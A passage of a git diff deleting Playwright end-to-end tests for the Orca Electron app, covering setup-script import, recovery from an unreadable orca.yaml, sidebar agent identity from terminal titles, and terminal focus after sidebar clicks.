state.activeTabIdByWorktree[worktreeId] ?? null - }) - const transitions: Transition[] = [snapshot(store.getState())] - const e2eWindow = window as typeof window & { __orcaRevealTransitions?: Transition[] } - e2eWindow.__orcaRevealTransitions = transitions - store.subscribe((state) => { - const next = snapshot(state) - if (JSON.stringify(next) !== JSON.stringify(transitions.at(-1))) { - transitions.push(next) - } - }) - }, - { tabId: workerTabId, worktreeId: targetWorktreeId } - ) - await second.page - .locator(`[role="option"][data-worktree-id="${targetWorktreeId}"]`) - .first() - .click() - const visibleTab = second.page - .locator(`[data-testid="sortable-tab"][data-tab-id="${workerTabId}"]`) - .first() - await visibleTab.click({ timeout: 10_000 }) - await expect(visibleTab).toBeVisible() - await ensureTerminalVisible(second.page) - // Give the reconciler's async verdict time to land; the tab must never have left. - await second.page.waitForTimeout(3_000) - const transitions = await second.page.evaluate( - () => - ( - window as typeof window & { - __orcaRevealTransitions?: { - activeWorktreeId: string | null - tabPresent: boolean - leafPtyIds: string[] - }[] - } - ).__orcaRevealTransitions ?? [] - ) - // Pre-fix this read: leaf binding cleared -> tab removed -> worktree deselected -> tab re-added by graph sync. - expect( - transitions.filter( - (step) => !step.tabPresent || (!daemonSessionGone && step.leafPtyIds.length === 0) - ), - 'reveal must not tear the settled worker tab down' - ).toEqual([]) - expect(transitions.at(-1)?.activeWorktreeId).toBe(targetWorktreeId) - expect( - await second.page.evaluate( - (tabId) => Boolean(window.__paneManagers?.get(tabId)), - workerTabId - ) - ).toBe(true) - if (!daemonSessionGone) { - expect( - (await listRuntimeTerminals(client)).find((terminal) => terminal.ptyId === workerPtyId) - ?.connected - ).toBe(true) - expect( - readCompletedWorkerLedger().filter((event) => event.event === 'normal-exit') - ).toEqual([]) - } - const newLaunches = readCompletedWorkerLedger() - .filter((event) => event.event === 'spawn') - .slice(launchesBeforeRestart.length) - if (daemonSessionGone) { - expect(newLaunches.length).toBeLessThanOrEqual(1) - for (const launch of newLaunches) { - // Codex's --resume equivalent is the `resume ` subcommand. - expect(launch.args).toContain('resume') - expect(launch.args).toContain(PROVIDER_SESSION_ID) - } - const listed = await client.call<{ - workers: { dispatchId: string; terminalState: string; workerState: string }[] - }>('orchestration.workerList', { run: run.result.run.id }) - await testInfo.attach('resumed-worker-accounting', { - body: JSON.stringify({ newLaunches, workers: listed.result.workers }), - contentType: 'application/json' - }) - expect(listed.result.workers).toEqual([ - expect.objectContaining({ - dispatchId: started.result.dispatchId, - terminalState: 'retained', - workerState: 'succeeded' - }) - ]) - } else { - expect(newLaunches).toEqual([]) - expect( - await second.page.evaluate((ptyId) => window.api.pty.hasPty(ptyId), workerPtyId) - ).toBe(true) - } - expect(readCompletedWorkerLedger().filter((event) => event.event === 'normal-exit')).toEqual( - [] - ) - expect( - (await client.call('orchestration.taskList', { run: run.result.run.id })).result - ).toEqual(taskBeforeRestart) - expect( - (await client.call('orchestration.dispatchShow', { task: task.result.task.id })).result - ).toEqual(dispatchBeforeRestart) - await expect(visibleTab).toBeVisible() - const paneKeys = await second.page.evaluate((tabId) => { - const layout = window.__store?.getState().terminalLayoutsByTabId[tabId] - const leaves: string[] = [] - const visit = (node: NonNullable['root']>) => { - if (node.type === 'leaf') { - leaves.push(`${tabId}:${node.leafId}`) - } else { - visit(node.first) - visit(node.second) - } - } - if (layout?.root) { - visit(layout.root) - } - return leaves - }, workerTabId) - expect(paneKeys).toContain(workerPaneKey) - expect( - await secondApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().map((window) => ({ - visible: window.isVisible(), - focused: window.isFocused() - })) - ) - ).toEqual([{ visible: false, focused: false }]) - await second.page.screenshot({ path: testInfo.outputPath('settled-worker-revealed.png') }) - await session.close(secondApp) - secondApp = null - const persisted = readPersistedSession(session.userDataDir) - expectNoPersistedWorkerFence(session.userDataDir, workerPaneKey) - expect( - persisted.tabsByWorktree[targetWorktreeId].some( - (tab: { id: string }) => tab.id === workerTabId - ) - ).toBe(true) - expect(persisted.terminalLayoutsByTabId[workerTabId]).toBeDefined() - if (!daemonSessionGone) { - expect( - Object.values(persisted.terminalLayoutsByTabId[workerTabId].ptyIdsByLeafId ?? {}) - ).toContain(workerPtyId) - } - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } - }) -} diff --git a/tests/e2e/setup-script-import.spec.ts b/tests/e2e/setup-script-import.spec.ts deleted file mode 100644 index c46f24a39eb..00000000000 --- a/tests/e2e/setup-script-import.spec.ts +++ /dev/null @@ -1,213 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { mkdirSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Locator, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -function runGit(repoPath: string, args: string[]): void { - execFileSync('git', args, { cwd: repoPath, stdio: 'pipe' }) -} - -function createGitRepo(repoPath: string): void { - rmSync(repoPath, { recursive: true, force: true }) - mkdirSync(repoPath, { recursive: true }) - runGit(repoPath, ['init']) - runGit(repoPath, ['config', 'user.email', 'e2e@test.local']) - runGit(repoPath, ['config', 'user.name', 'E2E Test']) - writeFileSync(path.join(repoPath, 'README.md'), '# Setup import E2E\n') - runGit(repoPath, ['add', '-A']) - runGit(repoPath, ['commit', '-m', 'Initial commit']) -} - -function createSupersetSetupRepo(repoPath: string): string { - createGitRepo(repoPath) - mkdirSync(path.join(repoPath, '.superset'), { recursive: true }) - writeFileSync( - path.join(repoPath, '.superset', 'config.json'), - `${JSON.stringify( - { - setup: ['bun install'], - teardown: ['docker compose down'], - cwd: 'packages/web' - }, - null, - 2 - )}\n` - ) - writeFileSync( - path.join(repoPath, '.superset', 'config.local.json'), - `${JSON.stringify( - { - setup: { - before: ['corepack enable'], - after: ['bun run db:migrate'] - }, - teardown: ['docker compose down --remove-orphans'], - run: ['bun dev'] - }, - null, - 2 - )}\n` - ) - return repoPath -} - -function createCmuxSetupRepo(repoPath: string): string { - createGitRepo(repoPath) - mkdirSync(path.join(repoPath, '.cmux'), { recursive: true }) - writeFileSync( - path.join(repoPath, '.cmux', 'cmux.json'), - `${JSON.stringify( - { - commands: [ - { - name: 'Run Unit Tests', - keywords: ['test', 'unit'], - command: './scripts/test-unit.sh' - }, - { - name: 'Setup', - description: 'Initialize submodules and build dependencies', - keywords: ['setup', 'init', 'install'], - command: './scripts/setup.sh', - confirm: true, - cwd: 'packages/web' - } - ] - }, - null, - 2 - )}\n` - ) - return repoPath -} - -async function addAndActivateRepo(page: Page, repoPath: string): Promise { - return page.evaluate(async (targetRepoPath) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const addedRepo = await store.getState().addRepoPath(targetRepoPath) - if (!addedRepo) { - throw new Error(`Failed to add repo at ${targetRepoPath}`) - } - - await store.getState().fetchWorktrees(addedRepo.id) - const state = store.getState() - const worktree = state.worktreesByRepo[addedRepo.id]?.find( - (entry) => entry.path === targetRepoPath - ) - if (!worktree) { - throw new Error(`Failed to find primary worktree for ${targetRepoPath}`) - } - - state.setActiveRepo(addedRepo.id) - state.setActiveWorktree(worktree.id) - state.setSidebarOpen(true) - return addedRepo.id - }, realpathSync.native(repoPath)) -} - -async function openRepoSettings(page: Page, repoId: string): Promise { - await page.evaluate((targetRepoId) => { - const state = window.__store?.getState() - state?.setSettingsSearchQuery('') - state?.openSettingsTarget({ pane: 'repo', repoId: targetRepoId }) - state?.openSettingsPage() - }, repoId) - - const repoSettings = page.locator(`[data-settings-section="repo-${repoId}"]`) - await expect(repoSettings).toBeVisible({ timeout: 10_000 }) - await expect(repoSettings.getByText('Setup Script').first()).toBeVisible() - return repoSettings -} - -async function openImportedSetupSettingsFromToast(page: Page, repoId: string): Promise { - const viewInSettings = page.getByRole('button', { name: "project's settings", exact: true }) - await expect(viewInSettings).toBeAttached({ timeout: 10_000 }) - // Hidden-window layout can leave the mounted Sonner action just outside Playwright’s viewport. - await viewInSettings.evaluate((button) => (button as HTMLButtonElement).click()) - const setupCommand = page.locator(`[id="repo-${repoId}-local-commands"]`) - await expect(setupCommand).toBeVisible({ timeout: 10_000 }) - const repoSettings = page.locator(`[data-settings-section="repo-${repoId}"]`) - await expect(repoSettings.getByText('Setup Script').first()).toBeVisible() - return repoSettings -} - -async function expectSettingsCommandValue( - container: Locator, - name: 'Setup Script' | 'Archive Script', - value: string -): Promise { - await expect(container.getByRole('textbox', { name })).toHaveValue(value, { timeout: 10_000 }) -} - -async function saveReviewedSetupScript( - page: Page, - skippedFields: readonly string[] = [] -): Promise { - await page.getByRole('button', { name: 'Review setup script' }).click() - const dialog = page.getByRole('dialog', { name: 'Review setup script' }) - await expect(dialog).toBeVisible() - for (const field of skippedFields) { - await expect(dialog.getByText(field, { exact: true })).toBeVisible() - } - await dialog.getByRole('button', { name: 'Save local setup' }).click() - await expect(dialog).toBeHidden() -} - -test.describe('Setup script import prompt', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('imports Superset local overlays through the prompt UI', async ({ orcaPage }, testInfo) => { - const repoPath = createSupersetSetupRepo(testInfo.outputPath('superset-setup-repo')) - const repoId = await addAndActivateRepo(orcaPage, repoPath) - - await expect( - orcaPage.getByText( - /Found a setup script in\s*\.superset\/config\.json and \.superset\/config\.local\.json\./ - ) - ).toBeVisible({ timeout: 15_000 }) - - await saveReviewedSetupScript(orcaPage, ['cwd', 'config.local.run']) - - await expect(orcaPage.getByText('Saved the setup command.')).toBeVisible() - - const localCommands = await openImportedSetupSettingsFromToast(orcaPage, repoId) - await expectSettingsCommandValue( - localCommands, - 'Setup Script', - 'corepack enable\nbun install\nbun run db:migrate' - ) - await expectSettingsCommandValue( - localCommands, - 'Archive Script', - 'docker compose down --remove-orphans' - ) - }) - - test('imports cmux setup commands through the prompt UI', async ({ orcaPage }, testInfo) => { - const repoPath = createCmuxSetupRepo(testInfo.outputPath('cmux-setup-repo')) - const repoId = await addAndActivateRepo(orcaPage, repoPath) - - await expect(orcaPage.getByText(/Found a setup script in\s*\.cmux\/cmux\.json\./)).toBeVisible({ - timeout: 15_000 - }) - - await saveReviewedSetupScript(orcaPage) - - await expect( - orcaPage.getByRole('button', { name: "project's settings", exact: true }) - ).toBeVisible() - - const repoSettings = await openRepoSettings(orcaPage, repoId) - await expectSettingsCommandValue(repoSettings, 'Setup Script', './scripts/setup.sh') - await expectSettingsCommandValue(repoSettings, 'Archive Script', '') - }) -}) diff --git a/tests/e2e/setup-script-prompt-unreadable-orca-yaml.spec.ts b/tests/e2e/setup-script-prompt-unreadable-orca-yaml.spec.ts deleted file mode 100644 index 9cca7498ef7..00000000000 --- a/tests/e2e/setup-script-prompt-unreadable-orca-yaml.spec.ts +++ /dev/null @@ -1,192 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { mkdirSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { worktreeRow, worktreeRowSurface } from './worktree-row-locators' - -const INSPECTION_ERROR_TEXT = "Couldn't verify this repo's setup script right now." -const SETUP_SCRIPT_COMMAND = 'echo orca-e2e-setup' -const RECORDING_DWELL_MS = 1200 - -type WorktreeIds = { - repoId: string - mainWorktreeId: string - featureWorktreeId: string -} - -function runGit(cwd: string, args: string[]): void { - execFileSync('git', args, { cwd, stdio: 'pipe' }) -} - -/** Repo whose shared orca.yaml carries a real setup script, plus a second worktree. */ -function createRepoWithSharedSetupScript(repoPath: string, featureWorktreePath: string): void { - rmSync(repoPath, { recursive: true, force: true }) - rmSync(featureWorktreePath, { recursive: true, force: true }) - mkdirSync(repoPath, { recursive: true }) - runGit(repoPath, ['init']) - runGit(repoPath, ['config', 'user.email', 'e2e@test.local']) - runGit(repoPath, ['config', 'user.name', 'E2E Test']) - writeFileSync(path.join(repoPath, 'README.md'), '# Unreadable orca.yaml E2E\n') - writeFileSync(path.join(repoPath, 'orca.yaml'), `scripts:\n setup: ${SETUP_SCRIPT_COMMAND}\n`) - runGit(repoPath, ['add', '-A']) - runGit(repoPath, ['commit', '-m', 'Initial commit']) - runGit(repoPath, ['worktree', 'add', '-b', 'setup-prompt-proof', featureWorktreePath]) -} - -// Inject unreadable orca.yaml as status:error, not authoritative absence; retain the real handler for healing. -async function installUnreadableOrcaYamlFault(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(({ ipcMain }) => { - type InvokeHandler = (event: unknown, ...args: unknown[]) => unknown - const faultState = globalThis as typeof globalThis & { __orcaE2eOrcaYamlUnreadable?: boolean } - const registry = (ipcMain as unknown as { _invokeHandlers?: Map }) - ._invokeHandlers - const productionHandler = registry?.get('hooks:check') - if (!productionHandler) { - throw new Error('hooks:check handler was not registered in the main process') - } - faultState.__orcaE2eOrcaYamlUnreadable = true - ipcMain.removeHandler('hooks:check') - ipcMain.handle('hooks:check', async (event, ...args) => { - if (faultState.__orcaE2eOrcaYamlUnreadable) { - return { status: 'error', hasHooks: false, hooks: null, mayNeedUpdate: false } - } - return productionHandler(event, ...args) - }) - }) -} - -async function healOrcaYamlRead(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(() => { - ;( - globalThis as typeof globalThis & { __orcaE2eOrcaYamlUnreadable?: boolean } - ).__orcaE2eOrcaYamlUnreadable = false - }) -} - -async function addRepoAndActivateMainWorktree( - page: Page, - repoPath: string, - featureWorktreePath: string -): Promise { - // Show external worktrees explicitly so the second fixture reaches the sidebar. - const repoId = await page.evaluate(async (targetRepoPath) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const addedRepo = await store.getState().addRepoPath(targetRepoPath) - if (!addedRepo) { - throw new Error(`Failed to add repo at ${targetRepoPath}`) - } - await store.getState().updateRepo(addedRepo.id, { externalWorktreeVisibility: 'show' }) - return addedRepo.id - }, repoPath) - - await expect - .poll( - () => - page.evaluate(async (targetRepoId) => { - const store = window.__store - if (!store) { - return 0 - } - await store.getState().fetchWorktrees(targetRepoId) - return store.getState().worktreesByRepo[targetRepoId]?.length ?? 0 - }, repoId), - { timeout: 20_000, message: 'proof repo worktrees did not load' } - ) - .toBeGreaterThanOrEqual(2) - - return page.evaluate( - ({ targetRepoId, targetRepoPath, targetFeaturePath }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktrees = state.worktreesByRepo[targetRepoId] ?? [] - const mainWorktree = worktrees.find((entry) => entry.path === targetRepoPath) - const featureWorktree = worktrees.find((entry) => entry.path === targetFeaturePath) - if (!mainWorktree || !featureWorktree) { - throw new Error( - `Missing worktrees for ${targetRepoPath}: ${worktrees.map((entry) => entry.path).join(', ')}` - ) - } - - state.setSidebarOpen(true) - state.setGroupBy('none') - state.setSortBy('recent') - state.setShowActiveOnly(false) - state.setShowSleepingWorkspaces(true) - state.setHideDefaultBranchWorkspace(false) - state.setFilterRepoIds([]) - state.setActiveRepo(targetRepoId) - state.setActiveWorktree(mainWorktree.id) - state.revealWorktreeInSidebar(featureWorktree.id, { behavior: 'auto' }) - return { - repoId: targetRepoId, - mainWorktreeId: mainWorktree.id, - featureWorktreeId: featureWorktree.id - } - }, - { - targetRepoId: repoId, - targetRepoPath: realpathSync.native(repoPath), - targetFeaturePath: realpathSync.native(featureWorktreePath) - } - ) -} - -test.describe('Setup script prompt', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('recovers from an unreadable orca.yaml instead of pinning the failed verdict', async ({ - electronApp, - orcaPage - }, testInfo) => { - const repoPath = testInfo.outputPath('unreadable-orca-yaml-repo') - const featureWorktreePath = testInfo.outputPath('unreadable-orca-yaml-feature') - createRepoWithSharedSetupScript(repoPath, featureWorktreePath) - - await installUnreadableOrcaYamlFault(electronApp) - const { repoId, featureWorktreeId } = await addRepoAndActivateMainWorktree( - orcaPage, - repoPath, - featureWorktreePath - ) - - const promptCard = orcaPage.locator('[data-setup-script-prompt-layer]') - const inspectionError = promptCard.getByText(INSPECTION_ERROR_TEXT) - await expect(inspectionError).toBeVisible({ timeout: 20_000 }) - - // orca.yaml is readable again; the card is still pinned to the failed verdict. - await healOrcaYamlRead(electronApp) - const healthyCheck = await orcaPage.evaluate( - (targetRepoId) => window.api.hooks.check({ repoId: targetRepoId }), - repoId - ) - expect(healthyCheck.status).toBe('ok') - expect((healthyCheck.hooks as { scripts?: { setup?: string } } | null)?.scripts?.setup).toBe( - SETUP_SCRIPT_COMMAND - ) - await expect(inspectionError).toBeVisible() - await expect(promptCard.getByRole('button', { name: 'Retry' })).toBeVisible() - // Not a wait for state: holds the pinned card on screen for the proof recording. - await orcaPage.waitForTimeout(RECORDING_DWELL_MS) - - // Activating another worktree in the same repo must re-inspect. - const featureRow = worktreeRow(orcaPage, featureWorktreeId) - await expect(featureRow).toBeVisible() - await worktreeRowSurface(orcaPage, featureWorktreeId).click() - await expect(featureRow).toHaveAttribute('aria-current', 'page') - - await expect(inspectionError).toBeHidden({ timeout: 20_000 }) - await expect(promptCard).toHaveCount(0) - await orcaPage.waitForTimeout(RECORDING_DWELL_MS) - }) -}) diff --git a/tests/e2e/sidebar-agent-row-identity.spec.ts b/tests/e2e/sidebar-agent-row-identity.spec.ts deleted file mode 100644 index 485483833a6..00000000000 --- a/tests/e2e/sidebar-agent-row-identity.spec.ts +++ /dev/null @@ -1,176 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { runNodeScriptInTerminal } from './helpers/run-node-script-in-terminal' -import { waitForRestoredTerminalInputReady } from './helpers/restored-terminal-input-readiness' -import { worktreeRow } from './worktree-row-locators' - -// Use real PTY OSC titles to retain hookless Cursor’s literal cursor agent (#10258) and keep OpenCode ownership when its task merely mentions claude (#8940). - -// The literal Cursor emits on every redraw — the pane's ONLY identity signal. -const CURSOR_NATIVE_OSC_TITLE = 'Cursor Agent' -// An OpenCode task title that merely MENTIONS claude (see #8940). -const OPENCODE_TASK_OSC_TITLE = '⠋ use Claude Sonnet' - -/** Printed banner that proves the emitter ran; the OSC title trails it in the same chunk. */ -const PANE_HOLD_MARKER = 'agent pane holding' - -// Keep the emitter alive so shell prompts cannot overwrite identity; emit in one chunk to avoid a title-less stale-title probe. -function oscTitleHolderScript(escapedTitle: string): string { - return [ - `process.stdout.write('${PANE_HOLD_MARKER}\\r\\n\\u001b]0;${escapedTitle}\\u0007')`, - 'setInterval(() => {}, 1e9)', - '' - ].join('\n') -} - -async function useFullAgentActivityRows(page: Page): Promise { - await page.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - // Render full rows so assertions read labels/icons instead of summary pills. - state.setAgentActivityDisplayMode('full') - if (!state.worktreeCardProperties.includes('inline-agents')) { - state.setWorktreeCardProperties([...state.worktreeCardProperties, 'inline-agents']) - } - }) -} - -function paneTitles(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const byPane = window.__store?.getState().runtimePaneTitlesByTabId?.[tabId] ?? {} - return Object.values(byPane).filter((title): title is string => typeof title === 'string') - }, tabId) -} - -// Launch through the tab-bar agent path and prove shell echo before sending the emitter command. -async function openAgentTab( - page: Page, - worktreeId: string, - launchAgent: 'cursor' | 'opencode' -): Promise<{ tabId: string; ptyId: string }> { - const tabId = await page.evaluate( - ({ worktreeId, launchAgent }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { - launchAgent - }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - return tab.id - }, - { worktreeId, launchAgent } - ) - await waitForActiveTerminalManager(page) - // Allow cold-app PTY binding beyond the default 15s. - const ptyId = await waitForActivePanePtyId(page, 45_000) - expect( - await waitForRestoredTerminalInputReady(page, ptyId, 20_000), - `the shell in the ${launchAgent} tab never echoed a probe command` - ).toBe(true) - return { tabId, ptyId } -} - -// Read rendered icon tooltips in one evaluate so rerender cannot split the snapshot. -function sidebarAgentRowIdentities(page: Page, agentListSelector: string): Promise { - return page.evaluate((selector) => { - const list = document.querySelector(selector) - return list - ? [...list.children] - .map((row) => row.querySelector('span[title]')?.getAttribute('title') ?? '') - .filter((identity) => identity.length > 0) - .sort() - : [] - }, agentListSelector) -} - -// Return one settled identity snapshot for readable assertions. -async function settledSidebarAgentRowIdentities( - page: Page, - agentListSelector: string -): Promise { - const requiredStableReads = 4 - let previousKey = '' - let stableReads = 0 - let settled: string[] = [] - await expect - .poll( - async () => { - settled = await sidebarAgentRowIdentities(page, agentListSelector) - const key = JSON.stringify(settled) - stableReads = key === previousKey && settled.length > 0 ? stableReads + 1 : 0 - previousKey = key - return stableReads >= requiredStableReads - }, - { - timeout: 20_000, - intervals: [200], - message: 'the sidebar agent rows never settled on a stable set' - } - ) - .toBe(true) - return settled -} - -test('sidebar keeps a Cursor pane visible and an OpenCode pane out of Claude Code hands', async ({ - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await useFullAgentActivityRows(orcaPage) - - const openCode = await openAgentTab(orcaPage, worktreeId, 'opencode') - const openCodeScript = await runNodeScriptInTerminal( - orcaPage, - openCode.ptyId, - // ⠋ is the braille spinner frame OpenCode paints ahead of its task text. - oscTitleHolderScript('\\u280b use Claude Sonnet') - ) - await waitForTerminalOutput(orcaPage, PANE_HOLD_MARKER, 15_000) - // Require the always-accepted title as a PTY emission precondition. - await expect - .poll(() => paneTitles(orcaPage, openCode.tabId), { - timeout: 15_000, - message: 'the OpenCode task title never reached the renderer' - }) - .toContain(OPENCODE_TASK_OSC_TITLE) - - const cursor = await openAgentTab(orcaPage, worktreeId, 'cursor') - const cursorScript = await runNodeScriptInTerminal( - orcaPage, - cursor.ptyId, - oscTitleHolderScript(CURSOR_NATIVE_OSC_TITLE) - ) - // Require emitter output before judging literal-title filtering. - await waitForTerminalOutput(orcaPage, PANE_HOLD_MARKER, 15_000) - - // Only the active worktree's card has agents, so this resolves to one list. - const agentListSelector = `[data-worktree-sidebar] [aria-label="Agents"]` - const agentList = worktreeRow(orcaPage, worktreeId).locator('[aria-label="Agents"]') - await expect(agentList.locator('> div').first()).toBeVisible() - - expect(await settledSidebarAgentRowIdentities(orcaPage, agentListSelector)).toEqual([ - 'Cursor', - 'OpenCode' - ]) - - await expect(agentList.locator('> div')).toHaveCount(2) - await expect(agentList).toContainText('Cursor') - await expect(agentList).toContainText('use Claude Sonnet') - - openCodeScript.cleanup() - cursorScript.cleanup() -}) diff --git a/tests/e2e/sidebar-click-terminal-focus.spec.ts b/tests/e2e/sidebar-click-terminal-focus.spec.ts deleted file mode 100644 index ff272e313a5..00000000000 --- a/tests/e2e/sidebar-click-terminal-focus.spec.ts +++ /dev/null @@ -1,231 +0,0 @@ -// STA-15458 / STA-15415: a sidebar click must hand keys to the opened terminal; the delete shortcut stays list-scoped. -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { orcaCliResult } from './helpers/compiled-orca-cli' -import { runNodeScriptInTerminal } from './helpers/run-node-script-in-terminal' -import { waitForRestoredTerminalInputReady } from './helpers/restored-terminal-input-readiness' -import { pressShortcut } from './helpers/shortcuts' -import { worktreeRow, worktreeRowSurface } from './worktree-row-locators' - -const AGENT_INPUT_ECHO = 'agent got:' - -async function prepareTwoTerminals(page: Page): Promise<{ source: string; target: string }> { - await waitForSessionReady(page) - const source = await waitForActiveWorktree(page) - const target = (await getAllWorktreeIds(page)).find((id) => id !== source) - if (!target) { - throw new Error('Expected a second seeded workspace') - } - for (const id of [target, source]) { - await switchToWorktree(page, id) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page) - await waitForActivePanePtyId(page) - } - return { source, target } -} - -function visibleTerminalInput(page: Page) { - return page.locator('[data-terminal-tab-id]:visible .xterm-helper-textarea').first() -} - -async function shot(page: Page, testInfo: TestInfo, name: string): Promise { - const proofPath = testInfo.outputPath(`${name}.png`) - await page.screenshot({ path: proofPath }) - await testInfo.attach(name, { path: proofPath, contentType: 'image/png' }) -} - -// Typing proves delivery: the marker reaches the terminal only if its textarea owns the keys. -async function expectTypingReachesTerminal( - page: Page, - testInfo: TestInfo, - name: string -): Promise { - const marker = `KEYS_${name.toUpperCase().replaceAll('-', '_')}` - try { - await expect(visibleTerminalInput(page)).toBeFocused() - await page.keyboard.type(`echo ${marker}`) - await waitForTerminalOutput(page, marker) - } finally { - // Taken either way so a run without the fix records where the keys went. - await shot(page, testInfo, name) - } -} - -async function expectActiveId(page: Page, worktreeId: string): Promise { - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(worktreeId) -} - -async function expectActive(page: Page, worktreeId: string): Promise { - await expectActiveId(page, worktreeId) - await waitForActiveTerminalManager(page) -} - -test.describe('Sidebar click terminal focus', () => { - test('a plain row click puts typing in the opened terminal', async ({ orcaPage }, testInfo) => { - const { target } = await prepareTwoTerminals(orcaPage) - await worktreeRowSurface(orcaPage, target).click() - await expectActive(orcaPage, target) - await expectTypingReachesTerminal(orcaPage, testInfo, 'plain-click') - // Re-clicking the open workspace activates nothing; the click alone must hand the keys back. - await worktreeRowSurface(orcaPage, target).click() - await expectTypingReachesTerminal(orcaPage, testInfo, 'active-row-click') - }) - - test('a plain click after a modifier click puts typing in the terminal', async ({ - orcaPage - }, testInfo) => { - const { source, target } = await prepareTwoTerminals(orcaPage) - await worktreeRowSurface(orcaPage, target).click({ modifiers: ['ControlOrMeta'] }) - await expect(orcaPage.locator('[data-worktree-sidebar]')).toBeFocused() - expect(await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)).toBe(source) - await worktreeRowSurface(orcaPage, target).click() - await expectActive(orcaPage, target) - await expectTypingReachesTerminal(orcaPage, testInfo, 'modifier-then-plain-click') - }) - - test('an agent row click puts typing in that agent pane', async ({ orcaPage }, testInfo) => { - const { source, target } = await prepareTwoTerminals(orcaPage) - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - state.setAgentActivityDisplayMode('full') - if (!state.worktreeCardProperties.includes('inline-agents')) { - state.setWorktreeCardProperties([...state.worktreeCardProperties, 'inline-agents']) - } - }) - await switchToWorktree(orcaPage, target) - await orcaPage.evaluate((worktreeId) => { - const state = window.__store!.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { launchAgent: 'cursor' }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', worktreeId) - }, target) - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage, 45_000) - expect(await waitForRestoredTerminalInputReady(orcaPage, ptyId, 20_000)).toBe(true) - // The literal title is the pane's agent identity; echoing stdin proves where typed keys land. - const script = await runNodeScriptInTerminal( - orcaPage, - ptyId, - [ - "process.stdout.write('agent pane holding\\r\\n\\u001b]0;Cursor Agent\\u0007')", - 'process.stdin.setRawMode?.(true)', - `process.stdin.on('data', (data) => process.stdout.write('${AGENT_INPUT_ECHO}' + data))`, - '' - ].join('\n') - ) - try { - await waitForTerminalOutput(orcaPage, 'agent pane holding', 15_000) - const agentRow = worktreeRow(orcaPage, target).locator('[aria-label="Agents"] > div').first() - await expect(agentRow).toBeVisible({ timeout: 20_000 }) - - // A plain workspace click first: before the fix it parked keys in the list for every later click. - await worktreeRowSurface(orcaPage, source).click() - await expectActive(orcaPage, source) - await agentRow.click() - await expectActive(orcaPage, target) - try { - await expect(visibleTerminalInput(orcaPage)).toBeFocused() - await orcaPage.keyboard.type('z') - await waitForTerminalOutput(orcaPage, `${AGENT_INPUT_ECHO}z`) - } finally { - await shot(orcaPage, testInfo, 'agent-row-click') - } - } finally { - script.cleanup() - } - }) - - test('terminal switch from the CLI wins over sidebar list navigation', async ({ - orcaPage, - electronApp - }, testInfo) => { - const { source, target } = await prepareTwoTerminals(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const listed = await orcaCliResult<{ terminals: { handle: string; worktreeId: string }[] }>( - userDataDir, - ['terminal', 'list'] - ) - const handle = listed.terminals.find((terminal) => terminal.worktreeId === target)?.handle - if (!handle) { - throw new Error(`No terminal handle for ${target}: ${JSON.stringify(listed)}`) - } - // A modifier click is a deliberate list focus, the state that silently swallowed the switch. - await worktreeRowSurface(orcaPage, source).click({ modifiers: ['ControlOrMeta'] }) - await expect(orcaPage.locator('[data-worktree-sidebar]')).toBeFocused() - await orcaCliResult(userDataDir, ['terminal', 'switch', '--terminal', handle]) - await expectActive(orcaPage, target) - await expectTypingReachesTerminal(orcaPage, testInfo, 'cli-terminal-switch') - }) - - test('the delete shortcut ignores a focused terminal and acts on a keyboard-selected row', async ({ - orcaPage - }, testInfo) => { - const { target } = await prepareTwoTerminals(orcaPage) - // The primary checkout is never shortcut-deletable, so the keyboard target is a disposable worktree. - const disposable = await orcaPage.evaluate(async (name) => { - const state = window.__store!.getState() - const repoId = state.getKnownWorktreeById(state.activeWorktreeId!)!.repoId - const created = await state.createWorktree(repoId, name) - await state.fetchWorktrees(repoId) - return created.worktree.id - }, 